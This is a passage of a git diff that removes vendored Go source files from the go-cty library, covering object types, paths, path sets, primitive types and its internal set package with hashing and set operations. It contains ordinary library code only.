-} - -func (t typeObject) Equals(other Type) bool { - if ot, ok := other.typeImpl.(typeObject); ok { - if len(t.AttrTypes) != len(ot.AttrTypes) { - // Fast path: if we don't have the same number of attributes - // then we can't possibly be equal. This also avoids the need - // to test attributes in both directions below, since we know - // there can't be extras in "other". - return false - } - - for attr, ty := range t.AttrTypes { - oty, ok := ot.AttrTypes[attr] - if !ok { - return false - } - if !oty.Equals(ty) { - return false - } - } - - return true - } - return false -} - -func (t typeObject) FriendlyName(mode friendlyTypeNameMode) string { - // There isn't really a friendly way to write an object type due to its - // complexity, so we'll just do something English-ish. Callers will - // probably want to make some extra effort to avoid ever printing out - // an object type FriendlyName in its entirety. For example, could - // produce an error message by diffing two object types and saying - // something like "Expected attribute foo to be string, but got number". - // TODO: Finish this - return "object" -} - -func (t typeObject) GoString() string { - if len(t.AttrTypes) == 0 { - return "cty.EmptyObject" - } - return fmt.Sprintf("cty.Object(%#v)", t.AttrTypes) -} - -// EmptyObject is a shorthand for Object(map[string]Type{}), to more -// easily talk about the empty object type. -var EmptyObject Type - -// EmptyObjectVal is the only possible non-null, non-unknown value of type -// EmptyObject. -var EmptyObjectVal Value - -func init() { - EmptyObject = Object(map[string]Type{}) - EmptyObjectVal = Value{ - ty: EmptyObject, - v: map[string]interface{}{}, - } -} - -// IsObjectType returns true if the given type is an object type, regardless -// of its element type. -func (t Type) IsObjectType() bool { - _, ok := t.typeImpl.(typeObject) - return ok -} - -// HasAttribute returns true if the receiver has an attribute with the given -// name, regardless of its type. Will panic if the reciever isn't an object -// type; use IsObjectType to determine whether this operation will succeed. -func (t Type) HasAttribute(name string) bool { - name = NormalizeString(name) - if ot, ok := t.typeImpl.(typeObject); ok { - _, hasAttr := ot.AttrTypes[name] - return hasAttr - } - panic("HasAttribute on non-object Type") -} - -// AttributeType returns the type of the attribute with the given name. Will -// panic if the receiver is not an object type (use IsObjectType to confirm) -// or if the object type has no such attribute (use HasAttribute to confirm). -func (t Type) AttributeType(name string) Type { - name = NormalizeString(name) - if ot, ok := t.typeImpl.(typeObject); ok { - aty, hasAttr := ot.AttrTypes[name] - if !hasAttr { - panic("no such attribute") - } - return aty - } - panic("AttributeType on non-object Type") -} - -// AttributeTypes returns a map from attribute names to their associated -// types. Will panic if the receiver is not an object type (use IsObjectType -// to confirm). -// -// The returned map is part of the internal state of the type, and is provided -// for read access only. It is forbidden for any caller to modify the returned -// map. For many purposes the attribute-related methods of Value are more -// appropriate and more convenient to use. -func (t Type) AttributeTypes() map[string]Type { - if ot, ok := t.typeImpl.(typeObject); ok { - return ot.AttrTypes - } - panic("AttributeTypes on non-object Type") -} diff --git a/vendor/github.com/zclconf/go-cty/cty/path.go b/vendor/github.com/zclconf/go-cty/cty/path.go deleted file mode 100644 index 636e68c63d..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/path.go +++ /dev/null @@ -1,270 +0,0 @@ -package cty - -import ( - "errors" - "fmt" -) - -// A Path is a sequence of operations to locate a nested value within a -// data structure. -// -// The empty Path represents the given item. Any PathSteps within represent -// taking a single step down into a data structure. -// -// Path has some convenience methods for gradually constructing a path, -// but callers can also feel free to just produce a slice of PathStep manually -// and convert to this type, which may be more appropriate in environments -// where memory pressure is a concern. -// -// Although a Path is technically mutable, by convention callers should not -// mutate a path once it has been built and passed to some other subsystem. -// Instead, use Copy and then mutate the copy before using it. -type Path []PathStep - -// PathStep represents a single step down into a data structure, as part -// of a Path. PathStep is a closed interface, meaning that the only -// permitted implementations are those within this package. -type PathStep interface { - pathStepSigil() pathStepImpl - Apply(Value) (Value, error) -} - -// embed pathImpl into a struct to declare it a PathStep implementation -type pathStepImpl struct{} - -func (p pathStepImpl) pathStepSigil() pathStepImpl { - return p -} - -// Index returns a new Path that is the reciever with an IndexStep appended -// to the end. -// -// This is provided as a convenient way to construct paths, but each call -// will create garbage so it should not be used where memory pressure is a -// concern. -func (p Path) Index(v Value) Path { - ret := make(Path, len(p)+1) - copy(ret, p) - ret[len(p)] = IndexStep{ - Key: v, - } - return ret -} - -// IndexInt is a typed convenience method for Index. -func (p Path) IndexInt(v int) Path { - return p.Index(NumberIntVal(int64(v))) -} - -// IndexString is a typed convenience method for Index. -func (p Path) IndexString(v string) Path { - return p.Index(StringVal(v)) -} - -// IndexPath is a convenience method to start a new Path with an IndexStep. -func IndexPath(v Value) Path { - return Path{}.Index(v) -} - -// IndexIntPath is a typed convenience method for IndexPath. -func IndexIntPath(v int) Path { - return IndexPath(NumberIntVal(int64(v))) -} - -// IndexStringPath is a typed convenience method for IndexPath. -func IndexStringPath(v string) Path { - return IndexPath(StringVal(v)) -} - -// GetAttr returns a new Path that is the reciever with a GetAttrStep appended -// to the end. -// -// This is provided as a convenient way to construct paths, but each call -// will create garbage so it should not be used where memory pressure is a -// concern. -func (p Path) GetAttr(name string) Path { - ret := make(Path, len(p)+1) - copy(ret, p) - ret[len(p)] = GetAttrStep{ - Name: name, - } - return ret -} - -// Equals compares 2 Paths for exact equality. -func (p Path) Equals(other Path) bool { - if len(p) != len(other) { - return false - } - - for i := range p { - pv := p[i] - switch pv := pv.(type) { - case GetAttrStep: - ov, ok := other[i].(GetAttrStep) - if !ok || pv != ov { - return false - } - case IndexStep: - ov, ok := other[i].(IndexStep) - if !ok { - return false - } - - if !pv.Key.RawEquals(ov.Key) { - return false - } - default: - // Any invalid steps default to evaluating false. - return false - } - } - - return true - -} - -// HasPrefix determines if the path p contains the provided prefix. -func (p Path) HasPrefix(prefix Path) bool { - if len(prefix) > len(p) { - return false - } - - return p[:len(prefix)].Equals(prefix) -} - -// GetAttrPath is a convenience method to start a new Path with a GetAttrStep. -func GetAttrPath(name string) Path { - return Path{}.GetAttr(name) -} - -// Apply applies each of the steps in turn to successive values starting with -// the given value, and returns the result. If any step returns an error, -// the whole operation returns an error. -func (p Path) Apply(val Value) (Value, error) { - var err error - for i, step := range p { - val, err = step.Apply(val) - if err != nil { - return NilVal, fmt.Errorf("at step %d: %s", i, err) - } - } - return val, nil -} - -// LastStep applies the given path up to the last step and then returns -// the resulting value and the final step. -// -// This is useful when dealing with assignment operations, since in that -// case the *value* of the last step is not important (and may not, in fact, -// present at all) and we care only about its location. -// -// Since LastStep applies all steps except the last, it will return errors -// for those steps in the same way as Apply does. -// -// If the path has *no* steps then the returned PathStep will be nil, -// representing that any operation should be applied directly to the -// given value. -func (p Path) LastStep(val Value) (Value, PathStep, error) { - var err error - - if len(p) == 0 { - return val, nil, nil - } - - journey := p[:len(p)-1] - val, err = journey.Apply(val) - if err != nil { - return NilVal, nil, err - } - return val, p[len(p)-1], nil -} - -// Copy makes a shallow copy of the receiver. Often when paths are passed to -// caller code they come with the constraint that they are valid only until -// the caller returns, due to how they are constructed internally. Callers -// can use Copy to conveniently produce a copy of the value that _they_ control -// the validity of. -func (p Path) Copy() Path { - ret := make(Path, len(p)) - copy(ret, p) - return ret -} - -// IndexStep is a Step implementation representing applying the index operation -// to a value, which must be of either a list, map, or set type. -// -// When describing a path through a *type* rather than a concrete value, -// the Key may be an unknown value, indicating that the step applies to -// *any* key of the given type. -// -// When indexing into a set, the Key is actually the element being accessed -// itself, since in sets elements are their own identity. -type IndexStep struct { - pathStepImpl - Key Value -} - -// Apply returns the value resulting from indexing the given value with -// our key value. -func (s IndexStep) Apply(val Value) (Value, error) { - if val == NilVal || val.IsNull() { - return NilVal, errors.New("cannot index a null value") - } - - switch s.Key.Type() { - case Number: - if !(val.Type().IsListType() || val.Type().IsTupleType()) { - return NilVal, errors.New("not a list type") - } - case String: - if !val.Type().IsMapType() { - return NilVal, errors.New("not a map type") - } - default: - return NilVal, errors.New("key value not number or string") - } - - has := val.HasIndex(s.Key) - if !has.IsKnown() { - return UnknownVal(val.Type().ElementType()), nil - } - if !has.True() { - return NilVal, errors.New("value does not have given index key") - } - - return val.Index(s.Key), nil -} - -func (s IndexStep) GoString() string { - return fmt.Sprintf("cty.IndexStep{Key:%#v}", s.Key) -} - -// GetAttrStep is a Step implementation representing retrieving an attribute -// from a value, which must be of an object type. -type GetAttrStep struct { - pathStepImpl - Name string -} - -// Apply returns the value of our named attribute from the given value, which -// must be of an object type that has a value of that name. -func (s GetAttrStep) Apply(val Value) (Value, error) { - if val == NilVal || val.IsNull() { - return NilVal, errors.New("cannot access attributes on a null value") - } - - if !val.Type().IsObjectType() { - return NilVal, errors.New("not an object type") - } - - if !val.Type().HasAttribute(s.Name) { - return NilVal, fmt.Errorf("object has no attribute %q", s.Name) - } - - return val.GetAttr(s.Name), nil -} - -func (s GetAttrStep) GoString() string { - return fmt.Sprintf("cty.GetAttrStep{Name:%q}", s.Name) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/path_set.go b/vendor/github.com/zclconf/go-cty/cty/path_set.go deleted file mode 100644 index 1960c01e97..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/path_set.go +++ /dev/null @@ -1,204 +0,0 @@ -package cty - -import ( - "fmt" - "hash/crc64" - - "github.com/zclconf/go-cty/cty/set" -) - -// PathSet represents a set of Path objects. This can be used, for example, -// to talk about a subset of paths within a value that meet some criteria, -// without directly modifying the values at those paths. -type PathSet struct { - set set.Set -} - -// NewPathSet creates and returns a PathSet, with initial contents optionally -// set by the given arguments. -func NewPathSet(paths ...Path) PathSet { - ret := PathSet{ - set: set.NewSet(pathSetRules{}), - } - - for _, path := range paths { - ret.Add(path) - } - - return ret -} - -// Add inserts a single given path into the set. -// -// Paths are immutable after construction by convention. It is particularly -// important not to mutate a path after it has been placed into a PathSet. -// If a Path is mutated while in a set, behavior is undefined. -func (s PathSet) Add(path Path) { - s.set.Add(path) -} - -// AddAllSteps is like Add but it also adds all of the steps leading to -// the given path. -// -// For example, if given a path representing "foo.bar", it will add both -// "foo" and "bar". -func (s PathSet) AddAllSteps(path Path) { - for i := 1; i <= len(path); i++ { - s.Add(path[:i]) - } -} - -// Has returns true if the given path is in the receiving set. -func (s PathSet) Has(path Path) bool { - return s.set.Has(path) -} - -// List makes and returns a slice of all of the paths in the receiving set, -// in an undefined but consistent order. -func (s PathSet) List() []Path { - if s.Empty() { - return nil - } - ret := make([]Path, 0, s.set.Length()) - for it := s.set.Iterator(); it.Next(); { - ret = append(ret, it.Value().(Path)) - } - return ret -} - -// Remove modifies the receving set to no longer include the given path. -// If the given path was already absent, this is a no-op. -func (s PathSet) Remove(path Path) { - s.set.Remove(path) -} - -// Empty returns true if the length of the receiving set is zero. -func (s PathSet) Empty() bool { - return s.set.Length() == 0 -} - -// Union returns a new set whose contents are the union of the receiver and -// the given other set. -func (s PathSet) Union(other PathSet) PathSet { - return PathSet{ - set: s.set.Union(other.set), - } -} - -// Intersection returns a new set whose contents are the intersection of the -// receiver and the given other set. -func (s PathSet) Intersection(other PathSet) PathSet { - return PathSet{ - set: s.set.Intersection(other.set), - } -} - -// Subtract returns a new set whose contents are those from the receiver with -// any elements of the other given set subtracted. -func (s PathSet) Subtract(other PathSet) PathSet { - return PathSet{ - set: s.set.Subtract(other.set), - } -} - -// SymmetricDifference returns a new set whose contents are the symmetric -// difference of the receiver and the given other set. -func (s PathSet) SymmetricDifference(other PathSet) PathSet { - return PathSet{ - set: s.set.SymmetricDifference(other.set), - } -} - -// Equal returns true if and only if both the receiver and the given other -// set contain exactly the same paths. -func (s PathSet) Equal(other PathSet) bool { - if s.set.Length() != other.set.Length() { - return false - } - // Now we know the lengths are the same we only need to test in one - // direction whether everything in one is in the other. - for it := s.set.Iterator(); it.Next(); { - if !other.set.Has(it.Value()) { - return false - } - } - return true -} - -var crc64Table = crc64.MakeTable(crc64.ISO) - -var indexStepPlaceholder = []byte("#") - -// pathSetRules is an implementation of set.Rules from the set package, -// used internally within PathSet. -type pathSetRules struct { -} - -func (r pathSetRules) Hash(v interface{}) int { - path := v.(Path) - hash := crc64.New(crc64Table) - - for _, rawStep := range path { - switch step := rawStep.(type) { - case GetAttrStep: - // (this creates some garbage converting the string name to a - // []byte, but that's okay since cty is not designed to be - // used in tight loops under memory pressure.) - hash.Write([]byte(step.Name)) - default: - // For any other step type we just append a predefined value, - // which means that e.g. all indexes into a given collection will - // hash to the same value but we assume that collections are - // small and thus this won't hurt too much. - hash.Write(indexStepPlaceholder) - } - } - - // We discard half of the hash on 32-bit platforms; collisions just make - // our lookups take marginally longer, so not a big deal. - return int(hash.Sum64()) -} - -func (r pathSetRules) Equivalent(a, b interface{}) bool { - aPath := a.(Path) - bPath := b.(Path) - - if len(aPath) != len(bPath) { - return false - } - - for i := range aPath { - switch aStep := aPath[i].(type) { - case GetAttrStep: - bStep, ok := bPath[i].(GetAttrStep) - if !ok { - return false - } - - if aStep.Name != bStep.Name { - return false - } - case IndexStep: - bStep, ok := bPath[i].(IndexStep) - if !ok { - return false - } - - eq := aStep.Key.Equals(bStep.Key) - if !eq.IsKnown() || eq.False() { - return false - } - default: - // Should never happen, since we document PathStep as a closed type. - panic(fmt.Errorf("unsupported step type %T", aStep)) - } - } - - return true -} - -// SameRules is true if both Rules instances are pathSetRules structs. -func (r pathSetRules) SameRules(other set.Rules) bool { - _, ok := other.(pathSetRules) - return ok -} diff --git a/vendor/github.com/zclconf/go-cty/cty/primitive_type.go b/vendor/github.com/zclconf/go-cty/cty/primitive_type.go deleted file mode 100644 index 7b3d1196cd..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/primitive_type.go +++ /dev/null @@ -1,122 +0,0 @@ -package cty - -import "math/big" - -// primitiveType is the hidden implementation of the various primitive types -// that are exposed as variables in this package. -type primitiveType struct { - typeImplSigil - Kind primitiveTypeKind -} - -type primitiveTypeKind byte - -const ( - primitiveTypeBool primitiveTypeKind = 'B' - primitiveTypeNumber primitiveTypeKind = 'N' - primitiveTypeString primitiveTypeKind = 'S' -) - -func (t primitiveType) Equals(other Type) bool { - if otherP, ok := other.typeImpl.(primitiveType); ok { - return otherP.Kind == t.Kind - } - return false -} - -func (t primitiveType) FriendlyName(mode friendlyTypeNameMode) string { - switch t.Kind { - case primitiveTypeBool: - return "bool" - case primitiveTypeNumber: - return "number" - case primitiveTypeString: - return "string" - default: - // should never happen - panic("invalid primitive type") - } -} - -func (t primitiveType) GoString() string { - switch t.Kind { - case primitiveTypeBool: - return "cty.Bool" - case primitiveTypeNumber: - return "cty.Number" - case primitiveTypeString: - return "cty.String" - default: - // should never happen - panic("invalid primitive type") - } -} - -// Number is the numeric type. Number values are arbitrary-precision -// decimal numbers, which can then be converted into Go's various numeric -// types only if they are in the appropriate range. -var Number Type - -// String is the string type. String values are sequences of unicode codepoints -// encoded internally as UTF-8. -var String Type - -// Bool is the boolean type. The two values of this type are True and False. -var Bool Type - -// True is the truthy value of type Bool -var True Value - -// False is the falsey value of type Bool -var False Value - -// Zero is a number value representing exactly zero. -var Zero Value - -// PositiveInfinity is a Number value representing positive infinity -var PositiveInfinity Value - -// NegativeInfinity is a Number value representing negative infinity -var NegativeInfinity Value - -func init() { - Number = Type{ - primitiveType{Kind: primitiveTypeNumber}, - } - String = Type{ - primitiveType{Kind: primitiveTypeString}, - } - Bool = Type{ - primitiveType{Kind: primitiveTypeBool}, - } - True = Value{ - ty: Bool, - v: true, - } - False = Value{ - ty: Bool, - v: false, - } - Zero = Value{ - ty: Number, - v: big.NewFloat(0), - } - PositiveInfinity = Value{ - ty: Number, - v: (&big.Float{}).SetInf(false), - } - NegativeInfinity = Value{ - ty: Number, - v: (&big.Float{}).SetInf(true), - } -} - -// IsPrimitiveType returns true if and only if the reciever is a primitive -// type, which means it's either number, string, or bool. Any two primitive -// types can be safely compared for equality using the standard == operator -// without panic, which is not a guarantee that holds for all types. Primitive -// types can therefore also be used in switch statements. -func (t Type) IsPrimitiveType() bool { - _, ok := t.typeImpl.(primitiveType) - return ok -} diff --git a/vendor/github.com/zclconf/go-cty/cty/set/gob.go b/vendor/github.com/zclconf/go-cty/cty/set/gob.go deleted file mode 100644 index da2978f655..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/set/gob.go +++ /dev/null @@ -1,76 +0,0 @@ -package set - -import ( - "bytes" - "encoding/gob" - "fmt" -) - -// GobEncode is an implementation of the interface gob.GobEncoder, allowing -// sets to be included in structures encoded via gob. -// -// The set rules are included in the serialized value, so the caller must -// register its concrete rules type with gob.Register before using a -// set in a gob, and possibly also implement GobEncode/GobDecode to customize -// how any parameters are persisted. -// -// The set elements are also included, so if they are of non-primitive types -// they too must be registered with gob. -// -// If the produced gob values will persist for a long time, the caller must -// ensure compatibility of the rules implementation. In particular, if the -// definition of element equivalence changes between encoding and decoding -// then two distinct stored elements may be considered equivalent on decoding, -// causing the recovered set to have fewer elements than when it was stored. -func (s Set) GobEncode() ([]byte, error) { - gs := gobSet{ - Version: 0, - Rules: s.rules, - Values: s.Values(), - } - - buf := &bytes.Buffer{} - enc := gob.NewEncoder(buf) - err := enc.Encode(gs) - if err != nil { - return nil, fmt.Errorf("error encoding set.Set: %s", err) - } - - return buf.Bytes(), nil -} - -// GobDecode is the opposite of GobEncode. See GobEncode for information -// on the requirements for and caveats of including set values in gobs. -func (s *Set) GobDecode(buf []byte) error { - r := bytes.NewReader(buf) - dec := gob.NewDecoder(r) - - var gs gobSet - err := dec.Decode(&gs) - if err != nil { - return fmt.Errorf("error decoding set.Set: %s", err) - } - if gs.Version != 0 { - return fmt.Errorf("unsupported set.Set encoding version %d; need 0", gs.Version) - } - - victim := NewSetFromSlice(gs.Rules, gs.Values) - s.vals = victim.vals - s.rules = victim.rules - return nil -} - -type gobSet struct { - Version int - Rules Rules - - // The bucket-based representation is for efficient in-memory access, but - // for serialization it's enough to just retain the values themselves, - // which we can re-bucket using the rules (which may have changed!) when - // we re-inflate. - Values []interface{} -} - -func init() { - gob.Register([]interface{}(nil)) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/set/iterator.go b/vendor/github.com/zclconf/go-cty/cty/set/iterator.go deleted file mode 100644 index 4a60494f9d..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/set/iterator.go +++ /dev/null @@ -1,15 +0,0 @@ -package set - -type Iterator struct { - vals []interface{} - idx int -} - -func (it *Iterator) Value() interface{} { - return it.vals[it.idx] -} - -func (it *Iterator) Next() bool { - it.idx++ - return it.idx < len(it.vals) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/set/ops.go b/vendor/github.com/zclconf/go-cty/cty/set/ops.go deleted file mode 100644 index fd1555f218..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/set/ops.go +++ /dev/null @@ -1,210 +0,0 @@ -package set - -import ( - "sort" -) - -// Add inserts the given value into the receiving Set. -// -// This mutates the set in-place. This operation is not thread-safe. -func (s Set) Add(val interface{}) { - hv := s.rules.Hash(val) - if _, ok := s.vals[hv]; !ok { - s.vals[hv] = make([]interface{}, 0, 1) - } - bucket := s.vals[hv] - - // See if an equivalent value is already present - for _, ev := range bucket { - if s.rules.Equivalent(val, ev) { - return - } - } - - s.vals[hv] = append(bucket, val) -} - -// Remove deletes the given value from the receiving set, if indeed it was -// there in the first place. If the value is not present, this is a no-op. -func (s Set) Remove(val interface{}) { - hv := s.rules.Hash(val) - bucket, ok := s.vals[hv] - if !ok { - return - } - - for i, ev := range bucket { - if s.rules.Equivalent(val, ev) { - newBucket := make([]interface{}, 0, len(bucket)-1) - newBucket = append(newBucket, bucket[:i]...) - newBucket = append(newBucket, bucket[i+1:]...) - if len(newBucket) > 0 { - s.vals[hv] = newBucket - } else { - delete(s.vals, hv) - } - return - } - } -} - -// Has returns true if the given value is in the receiving set, or false if -// it is not. -func (s Set) Has(val interface{}) bool { - hv := s.rules.Hash(val) - bucket, ok := s.vals[hv] - if !ok { - return false - } - - for _, ev := range bucket { - if s.rules.Equivalent(val, ev) { - return true - } - } - return false -} - -// Copy performs a shallow copy of the receiving set, returning a new set -// with the same rules and elements. -func (s Set) Copy() Set { - ret := NewSet(s.rules) - for k, v := range s.vals { - ret.vals[k] = v - } - return ret -} - -// Iterator returns an iterator over values in the set. If the set's rules -// implement OrderedRules then the result is ordered per those rules. If -// no order is provided, or if it is not a total order, then the iteration -// order is undefined but consistent for a particular version of cty. Do not -// rely on specific ordering between cty releases unless the rules order is a -// total order. -// -// The pattern for using the returned iterator is: -// -// it := set.Iterator() -// for it.Next() { -// val := it.Value() -// // ... -// } -// -// Once an iterator has been created for a set, the set *must not* be mutated -// until the iterator is no longer in use. -func (s Set) Iterator() *Iterator { - vals := s.Values() - - return &Iterator{ - vals: vals, - idx: -1, - } -} - -// EachValue calls the given callback once for each value in the set, in an -// undefined order that callers should not depend on. -func (s Set) EachValue(cb func(interface{})) { - it := s.Iterator() - for it.Next() { - cb(it.Value()) - } -} - -// Values returns a slice of all the values in the set. If the set rules have -// an order then the result is in that order. If no order is provided or if -// it is not a total order then the result order is undefined, but consistent -// for a particular set value within a specific release of cty. -func (s Set) Values() []interface{} { - var ret []interface{} - // Sort the bucketIds to ensure that we always traverse in a - // consistent order. - bucketIDs := make([]int, 0, len(s.vals)) - for id := range s.vals { - bucketIDs = append(bucketIDs, id) - } - sort.Ints(bucketIDs) - - for _, bucketID := range bucketIDs { - ret = append(ret, s.vals[bucketID]...) - } - - if orderRules, ok := s.rules.(OrderedRules); ok { - sort.SliceStable(ret, func(i, j int) bool { - return orderRules.Less(ret[i], ret[j]) - }) - } - - return ret -} - -// Length returns the number of values in the set. -func (s Set) Length() int { - var count int - for _, bucket := range s.vals { - count = count + len(bucket) - } - return count -} - -// Union returns a new set that contains all of the members of both the -// receiving set and the given set. Both sets must have the same rules, or -// else this function will panic. -func (s1 Set) Union(s2 Set) Set { - mustHaveSameRules(s1, s2) - rs := NewSet(s1.rules) - s1.EachValue(func(v interface{}) { - rs.Add(v) - }) - s2.EachValue(func(v interface{}) { - rs.Add(v) - }) - return rs -} - -// Intersection returns a new set that contains the values that both the -// receiver and given sets have in common. Both sets must have the same rules, -// or else this function will panic. -func (s1 Set) Intersection(s2 Set) Set { - mustHaveSameRules(s1, s2) - rs := NewSet(s1.rules) - s1.EachValue(func(v interface{}) { - if s2.Has(v) { - rs.Add(v) - } - }) - return rs -} - -// Subtract returns a new set that contains all of the values from the receiver -// that are not also in the given set. Both sets must have the same rules, -// or else this function will panic. -func (s1 Set) Subtract(s2 Set) Set { - mustHaveSameRules(s1, s2) - rs := NewSet(s1.rules) - s1.EachValue(func(v interface{}) { - if !s2.Has(v) { - rs.Add(v) - } - }) - return rs -} - -// SymmetricDifference returns a new set that contains all of the values from -// both the receiver and given sets, except those that both sets have in -// common. Both sets must have the same rules, or else this function will -// panic. -func (s1 Set) SymmetricDifference(s2 Set) Set { - mustHaveSameRules(s1, s2) - rs := NewSet(s1.rules) - s1.EachValue(func(v interface{}) { - if !s2.Has(v) { - rs.Add(v) - } - }) - s2.EachValue(func(v interface{}) { - if !s1.Has(v) { - rs.Add(v) - } - }) - return rs -} diff --git a/vendor/github.com/zclconf/go-cty/cty/set/rules.go b/vendor/github.com/zclconf/go-cty/cty/set/rules.go deleted file mode 100644 index 03ecd25b97..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/set/rules.go +++ /dev/null @@ -1,47 +0,0 @@ -package set - -// Rules represents the operations that define membership for a Set. -// -// Each Set has a Rules instance, whose methods must satisfy the interface -// contracts given below for any value that will be added to the set. -type Rules interface { - // Hash returns an int that somewhat-uniquely identifies the given value. - // - // A good hash function will minimize collisions for values that will be - // added to the set, though collisions *are* permitted. Collisions will - // simply reduce the efficiency of operations on the set. - Hash(interface{}) int - - // Equivalent returns true if and only if the two values are considered - // equivalent for the sake of set membership. Two values that are - // equivalent cannot exist in the set at the same time, and if two - // equivalent values are added it is undefined which one will be - // returned when enumerating all of the set members. - // - // Two values that are equivalent *must* result in the same hash value, - // though it is *not* required that two values with the same hash value - // be equivalent. - Equivalent(interface{}, interface{}) bool - - // SameRules returns true if the instance is equivalent to another Rules - // instance. - SameRules(Rules) bool -} - -// OrderedRules is an extension of Rules that can apply a partial order to -// element values. When a set's Rules implements OrderedRules an iterator -// over the set will return items in the order described by the rules. -// -// If the given order is not a total order (that is, some pairs of non-equivalent -// elements do not have a defined order) then the resulting iteration order -// is undefined but consistent for a particular version of cty. The exact -// order in that case is not part of the contract and is subject to change -// between versions. -type OrderedRules interface { - Rules - - // Less returns true if and only if the first argument should sort before - // the second argument. If the second argument should sort before the first - // or if there is no defined order for the values, return false. - Less(interface{}, interface{}) bool -} diff --git a/vendor/github.com/zclconf/go-cty/cty/set/set.go b/vendor/github.com/zclconf/go-cty/cty/set/set.go deleted file mode 100644 index 15a76638f5..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/set/set.go +++ /dev/null @@ -1,62 +0,0 @@ -package set - -import ( - "fmt" -) - -// Set is an implementation of the concept of a set: a collection where all -// values are conceptually either in or out of the set, but the members are -// not ordered. -// -// This type primarily exists to be the internal type of sets in cty, but -// it is considered to be at the same level of abstraction as Go's built in -// slice and map collection types, and so should make no cty-specific -// assumptions. -// -// Set operations are not thread safe. It is the caller's responsibility to -// provide mutex guarantees where necessary. -// -// Set operations are not optimized to minimize memory pressure. Mutating -// a set will generally create garbage and so should perhaps be avoided in -// tight loops where memory pressure is a concern. -type Set struct { - vals map[int][]interface{} - rules Rules -} - -// NewSet returns an empty set with the membership rules given. -func NewSet(rules Rules) Set { - return Set{ - vals: map[int][]interface{}{}, - rules: rules, - } -} - -func NewSetFromSlice(rules Rules, vals []interface{}) Set { - s := NewSet(rules) - for _, v := range vals { - s.Add(v) - } - return s -} - -func sameRules(s1 Set, s2 Set) bool { - return s1.rules.SameRules(s2.rules) -} - -func mustHaveSameRules(s1 Set, s2 Set) { - if !sameRules(s1, s2) { - panic(fmt.Errorf("incompatible set rules: %#v, %#v", s1.rules, s2.rules)) - } -} - -// HasRules returns true if and only if the receiving set has the given rules -// instance as its rules. -func (s Set) HasRules(rules Rules) bool { - return s.rules.SameRules(rules) -} - -// Rules returns the receiving set's rules instance. -func (s Set) Rules() Rules { - return s.rules -} diff --git a/vendor/github.com/zclconf/go-cty/cty/set_helper.go b/vendor/github.com/zclconf/go-cty/cty/set_helper.go deleted file mode 100644 index 962bb52951..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/set_helper.go +++ /dev/null @@ -1,132 +0,0 @@ -package cty - -import ( - "fmt" - - "github.com/zclconf/go-cty/cty/set" -) - -// ValueSet is to cty.Set what []cty.Value is to cty.List and -// map[string]cty.Value is to cty.Map. It's provided to allow callers a -// convenient interface for manipulating sets before wrapping them in cty.Set -// values using cty.SetValFromValueSet. -// -// Unlike value slices and value maps, ValueSet instances have a single -// homogenous element type because that is a requirement of the underlying -// set implementation, which uses the element type to select a suitable -// hashing function. -// -// Set mutations are not concurrency-safe. -type ValueSet struct { - // ValueSet is just a thin wrapper around a set.Set with our value-oriented - // "rules" applied. We do this so that the caller can work in terms of - // cty.Value objects even though the set internals use the raw values. - s set.Set -} - -// NewValueSet creates and returns a new ValueSet with the given element type. -func NewValueSet(ety Type) ValueSet { - return newValueSet(set.NewSet(setRules{Type: ety})) -} - -func newValueSet(s set.Set) ValueSet { - return ValueSet{ - s: s, - } -} - -// ElementType returns the element type for the receiving ValueSet. -func (s ValueSet) ElementType() Type { - return s.s.Rules().(setRules).Type -} - -// Add inserts the given value into the receiving set. -func (s ValueSet) Add(v Value) { - s.requireElementType(v) - s.s.Add(v.v) -} - -// Remove deletes the given value from the receiving set, if indeed it was -// there in the first place. If the value is not present, this is a no-op. -func (s ValueSet) Remove(v Value) { - s.requireElementType(v) - s.s.Remove(v.v) -} - -// Has returns true if the given value is in the receiving set, or false if -// it is not. -func (s ValueSet) Has(v Value) bool { - s.requireElementType(v) - return s.s.Has(v.v) -} - -// Copy performs a shallow copy of the receiving set, returning a new set -// with the same rules and elements. -func (s ValueSet) Copy() ValueSet { - return newValueSet(s.s.Copy()) -} - -// Length returns the number of values in the set. -func (s ValueSet) Length() int { - return s.s.Length() -} - -// Values returns a slice of all of the values in the set in no particular -// order. -func (s ValueSet) Values() []Value { - l := s.s.Length() - if l == 0 { - return nil - } - ret := make([]Value, 0, l) - ety := s.ElementType() - for it := s.s.Iterator(); it.Next(); { - ret = append(ret, Value{ - ty: ety, - v: it.Value(), - }) - } - return ret -} - -// Union returns a new set that contains all of the members of both the -// receiving set and the given set. Both sets must have the same element type, -// or else this function will panic. -func (s ValueSet) Union(other ValueSet) ValueSet { - return newValueSet(s.s.Union(other.s)) -} - -// Intersection returns a new set that contains the values that both the -// receiver and given sets have in common. Both sets must have the same element -// type, or else this function will panic. -func (s ValueSet) Intersection(other ValueSet) ValueSet { - return newValueSet(s.s.Intersection(other.s)) -} - -// Subtract returns a new set that contains all of the values from the receiver -// that are not also in the given set. Both sets must have the same element -// type, or else this function will panic. -func (s ValueSet) Subtract(other ValueSet) ValueSet { - return newValueSet(s.s.Subtract(other.s)) -} - -// SymmetricDifference returns a new set that contains all of the values from -// both the receiver and given sets, except those that both sets have in -// common. Both sets must have the same element type, or else this function -// will panic. -func (s ValueSet) SymmetricDifference(other ValueSet) ValueSet { - return newValueSet(s.s.SymmetricDifference(other.s)) -} - -// requireElementType panics if the given value is not of the set's element type. -// -// It also panics if the given value is marked, because marked values cannot -// be stored in sets. -func (s ValueSet) requireElementType(v Value) { - if v.IsMarked() { - panic("cannot store marked value directly in a set (make the set itself unknown instead)") - } - if !v.Type().Equals(s.ElementType()) { - panic(fmt.Errorf("attempt to use %#v value with set of %#v", v.Type(), s.ElementType())) - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/set_internals.go b/vendor/github.com/zclconf/go-cty/cty/set_internals.go deleted file mode 100644 index 2b8af1e217..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/set_internals.go +++ /dev/null @@ -1,255 +0,0 @@ -package cty - -import ( - 